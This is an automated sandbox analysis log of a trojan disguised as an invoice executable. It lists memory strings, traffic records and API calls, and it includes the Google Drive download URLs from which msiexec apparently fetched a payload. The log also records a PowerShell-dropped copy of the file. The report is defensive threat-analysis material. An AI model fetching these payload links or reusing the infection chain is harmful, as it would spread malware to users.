Source: msiexec.exe, 00000005.00000003.2381577044.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2313946832.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2301970581.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2463480327.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2370910005.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.2553035309.0000000006DFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqMu7f3tLwtoZ52sqMy=TW
Source: msiexec.exe, 00000005.00000002.2553035309.0000000006DBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqMv
Source: msiexec.exe, 00000005.00000003.1974923370.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2055995606.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2020965430.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2082381319.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2381577044.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1939947934.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2067734981.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1906560488.0000000006DFB000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2044572702.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2313946832.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1952442398.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1779649291.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2301970581.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1790921504.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2094108178.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2031960140.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1768849257.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1929030211.0000000006DFF000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2463480327.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2370910005.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.2553035309.0000000006DFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: msiexec.exe, 00000005.00000003.1917290712.0000000006DFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/(Bi
Source: msiexec.exe, 00000005.00000003.1917290712.0000000006DFF000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1974923370.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2055995606.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2020965430.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2082381319.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2381577044.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1939947934.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2067734981.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1906560488.0000000006DFB000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2044572702.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2313946832.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1952442398.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1779649291.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2301970581.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1790921504.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2094108178.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2031960140.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1768849257.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1929030211.0000000006DFF000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2463480327.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2370910005.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/=Bt
Source: msiexec.exe, 00000005.00000003.2450958876.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2404863208.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2427674879.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1985971081.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2498061903.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1939906092.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1917255239.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2031924269.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1963080442.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2313916948.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2151336892.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2128763495.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2244405162.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2220848980.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2359174746.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2337033474.0000000006E41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id
Source: msiexec.exe, 00000005.00000003.1986018182.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1906560488.0000000006DD9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1790880643.0000000006E41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download
Source: msiexec.exe, 00000005.00000003.1917290712.0000000006DFF000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2381577044.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1939947934.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1929030211.0000000006DFF000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2463480327.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2370910005.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.2553035309.0000000006DFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download5~
Source: msiexec.exe, 00000005.00000003.1779649291.0000000006E00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download7r
Source: msiexec.exe, 00000005.00000003.2313946832.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=downloadS~
Source: msiexec.exe, 00000005.00000003.1917290712.0000000006DFF000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1974923370.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2020965430.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1939947934.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1906560488.0000000006DFB000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1952442398.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2031960140.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1929030211.0000000006DFF000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1963121004.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1986018182.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=downloadq~
Source: powershell.exe, 00000002.00000002.1667072228.0000000004DE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.1670136882.0000000005CFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: msiexec.exe, 00000005.00000003.1986018182.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1790880643.0000000006E41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: msiexec.exe, 00000005.00000003.1836422234.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2117698779.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1906560488.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2256255254.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1917290712.0000000006DFF000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1746093727.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2533160209.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2044535983.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2233758287.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2055953817.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2055995606.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2020965430.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2370819086.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2082381319.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2394213483.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2020931151.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2209910147.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1974923370.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2381577044.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1881697993.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2173708312.0000000006E41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: msiexec.exe, 00000005.00000003.1986018182.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1790880643.0000000006E41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: msiexec.exe, 00000005.00000002.2553035309.0000000006DFE000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2278823836.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1928978215.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2094078812.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1757024491.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1986018182.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1790880643.0000000006E41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: msiexec.exe, 00000005.00000003.1986018182.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1790880643.0000000006E41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987

Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.11:49952 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.129:443 -> 192.168.2.11:49962 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.11:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.11:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.11:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.11:49995 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.11:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.11:50003 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.11:50005 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.129:443 -> 192.168.2.11:50006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.11:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.11:50011 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.11:50019 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.11:50025 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.11:50027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.129:443 -> 192.168.2.11:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.11:50033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.11:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.11:50037 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.11:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.11:50043 version: TLS 1.2

Source: C:\Users\user\Desktop\factura solicitada..exe

Code function: 0_2_004050E4 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050E4

System Summary

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\unproselyte\besparelses\Ovolytic\factura solicitada..exe

Jump to dropped file

Source: C:\Users\user\Desktop\factura solicitada..exe

Code function: 0_2_0040316D EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_0040316D

Source: C:\Users\user\Desktop\factura solicitada..exe	Code function: 0_2_00404923		0_2_00404923
Source: C:\Users\user\Desktop\factura solicitada..exe	Code function: 0_2_004063D8		0_2_004063D8

Source: factura solicitada..exe, 00000000.00000002.1348287643.0000000000433000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamemellemteksten.exeR vs factura solicitada..exe
Source: factura solicitada..exe	Binary or memory string: OriginalFilenamemellemteksten.exeR vs factura solicitada..exe
Source: factura solicitada..exe.2.dr	Binary or memory string: OriginalFilenamemellemteksten.exeR vs factura solicitada..exe

Source: factura solicitada..exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.evad.winEXE@6/15@2/2

Source: C:\Users\user\Desktop\factura solicitada..exe

0_2_0040316D

Source: C:\Users\user\Desktop\factura solicitada..exe

Code function: 0_2_004043B0 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

0_2_004043B0

Source: C:\Users\user\Desktop\factura solicitada..exe

Code function: 0_2_004020CD CoCreateInstance,MultiByteToWideChar,

0_2_004020CD

Source: C:\Users\user\Desktop\factura solicitada..exe

File created: C:\Users\user\AppData\Local\unproselyte

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7828:120:WilError_03

Source: C:\Users\user\Desktop\factura solicitada..exe

File created: C:\Users\user\AppData\Local\Temp\nsmA4D4.tmp

Jump to behavior

Source: factura solicitada..exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process

Source: C:\Users\user\Desktop\factura solicitada..exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\factura solicitada..exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

